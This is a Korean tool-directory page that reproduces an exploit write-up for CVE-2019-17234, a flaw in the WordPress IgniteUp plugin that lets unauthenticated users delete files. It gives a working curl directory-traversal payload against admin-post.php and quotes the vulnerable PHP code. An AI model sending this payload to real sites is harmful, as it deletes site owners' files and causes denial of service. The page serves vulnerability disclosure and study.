Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-17234b-Exploit — Wordpress IgniteUp 플러그인 < 3.4.1은 인증되지 않은 사용자가 웹서버의 파일을 임의로 삭제하여 DoS를 유발할 가능성이 있습니다. | Kitploit
도구/GitHubGitHub/administra1tor/cve-2019-17234b-exploit
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubadministra1tor/cve-2019-17234b-exploit

CVE-2019-17234b-Exploit

Wordpress IgniteUp 플러그인 < 3.4.1은 인증되지 않은 사용자가 웹서버의 파일을 임의로 삭제하여 DoS를 유발할 가능성이 있습니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
5년 전아직 검토되지 않음

Wordpress IgniteUp 플러그인 취약점

Wordpress IgniteUp 플러그인 v3.4 이하에서는 원격의 인증되지 않은 사용자가 대상 웹 서버의 임의 파일을 잠재적으로 삭제하여 서비스 거부(DoS) 공격을 유발할 수 있습니다.

CVE-2019-17234 타임라인

해당 취약점은 2019년 9월 20일에 wordpress.org 팀에 보고되었으며, 플러그인의 새 버전 3.4.1은 2019년 11월 8일에 출시되었습니다.[3]

배경

IgniteUp은 인기 있는 워드프레스 플러그인으로, 사용자에게 사이트가 곧 출시, 유지보수 중 또는 공사 중임을 알리기 위해 랜딩 페이지를 간편하게 설정하고 관리할 수 있도록 해줍니다.

이 플러그인은 기본 제공되는 5가지 무료 템플릿(believe, cleaner, glass, launcher, offline)을 포함하고 있습니다.

템플릿 이름이 강조된 이유는 취약점을 악용하여 웹 서버에 유효한 요청을 수행하려면 올바른 매개변수 [template-name]이 필요하기 때문입니다.

익스플로잇 코드 (curl)

[경고]

다음 명령 예시는 워드프레스 사이트를 손상시킬 수 있습니다. 이 경우 IgniteUp 플러그인 핵심 파일을 삭제합니다.

root@kitploit:~
curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php

예시:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php

[참고] 위 명령은 플러그인 상대 경로 내에서 디렉터리 트래버설을 수행합니다. 적절한 권한(웹 서버 디렉터리 755, 웹 서버 파일 644)과 소유자(www-data, apache 사용자 등)가 설정된 경우 공격 범위는 서버 루트 디렉터리(예: /var/www/html)로 제한됩니다.

취약점 코드 분석

이 취약점을 유발하는 주요 함수는 아래에 강조되어 있습니다. 참조 파일은 wp-content/plugins/igniteup/includes/class-coming-soon-creator.php에 있으며, 파일 이름에서 알 수 있듯이 새 사용자 정의 템플릿 생성 및 기본/생성된 템플릿 삭제를 처리합니다.

V3.4

root@kitploit:~
add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
   if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
      return;
   $folder_name = $_POST['delete_template'];
   $path = dirname(CSCS_FILE) . '/includes/templates/';
   array_map('unlink', glob($path . $folder_name . '/*.*'));
   rmdir($path . $folder_name);
   unlink($path . '/' . $folder_name . '.php');
   header('Location: ' . $_SERVER['REQUEST_URI']);
}

첫 번째 줄의 admin_init는 워드프레스 액션 훅입니다. 훅[2]은 플러그인과 테마가 WordPress Core와 상호 작용하는 기반을 이루지만, Core 자체에서도 광범위하게 사용됩니다.

안타깝게도 액션 훅에 연결된 함수인 *deleteTemplate()*에는 관리자/사용자 확인 절차가 없습니다. 이 코드는 해당 작업을 수행하는 방법에 대한 충분한 힌트를 제공하며, 코드를 살펴보면 PHP POST 매개변수 delete_template을 쉽게 발견할 수 있습니다. 여기에 admin_init 훅 액션이 더해지면 익스플로잇 코드 단락에서 지적한 대로 /wp-admin/admin-post.php 인터페이스를 통해 웹 서버에 POST 요청을 시도할 수 있습니다.

[개인적인 의견] 워드프레스 관리자 사용자 관점에서 플러그인의 일반적인 동작을 분석해 보면, 이 함수를 발견하는 것은 상당히 이례적입니다(아마도 이전 버전에서 남겨진 잔재로 추정됩니다). 그 이유는 다음과 같습니다.

  1. v3.4 관리자 패널에서는 템플릿 삭제 옵션을 사용할 수 없으며, 플러그인 활성화/비활성화 또는 프리미엄($$$) 템플릿 "생성"(다운로드)만 가능합니다.
  2. 코드 동작이 기본적으로 잘못되었습니다. 정상적인 상황에서 unlink() 함수는 결코 올바르게 종료되지 않습니다. 함수 매개변수 구성에서 $path와 $folder_name 사이의 '/'가 없어야 하기 때문입니다. $path 변수 선언에 이미 백슬래시가 추가되어 있습니다.

다음은 DirStroy로 템플릿을 삭제하려고 할 때 unlink 과정에서 발생하는 상황의 예시입니다.

attack.png

TODO

admin-ajax.php 테스트 v3.4.1 비교

저자

  • Andrea Vignudelli - (https://github.com/administra1tor)

참고 자료

  • 해당 이슈를 보고해 주신 Jerome Bruandet 님께 감사드립니다.

[출처] https://blog.nintechnet.com/multiple-vulnerabilities-in-wordpress-igniteup-coming-soon-and-maintenance-mode-plugin/

[1] v3.4.1 변경 로그 - https://it.wordpress.org/plugins/igniteup/#developers

[2] 워드프레스 훅 - https://developer.wordpress.org/plugins/hooks/

[3] CVE-2019-17234 NIST 참조 - https://nvd.nist.gov/vuln/detail/CVE-2019-17234

도구 다운로드